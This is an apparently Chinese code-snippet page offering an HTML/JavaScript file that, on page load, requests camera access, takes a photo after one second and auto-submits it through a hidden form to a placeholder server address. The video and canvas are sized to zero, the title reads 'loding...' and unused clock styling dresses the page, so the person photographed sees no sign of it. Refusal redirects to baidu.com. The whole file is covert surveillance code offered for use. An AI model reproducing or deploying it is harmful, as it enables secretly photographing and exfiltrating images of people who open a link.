2022-01-17 10:26:56
浏览数 (1)
H5中JS调用摄像头截图拍照并发送
代码语言：javascript
复制<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>loding...</title>
<style>
body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1}
</style>
</head>
<body>
<video id="video" width="0" height="0" autoplay></video>
<canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
<form action="截图好并发送的地址" id="gopo" method="post">
<input type="hidden" name="img" id="result" value="" />
<input type='hidden' name='mod' value='up'/>
</form>
</body>
<script>
window.addEventListener("DOMContentLoaded", function() {
var canvas = document.getElementById('canvas');
var context = canvas.getContext('2d');
var video = document.getElementById('video');
if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
video.srcObject = stream;
video.play();
setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
setTimeout(function(){
var img = canvas.toDataURL('image/png');
document.getElementById('result').value = img;
document.getElementById('gopo').submit();
},1300);
},function(){
window.location.href = 'http://baidu.com';
});
}
}, false);
</script>
</html>
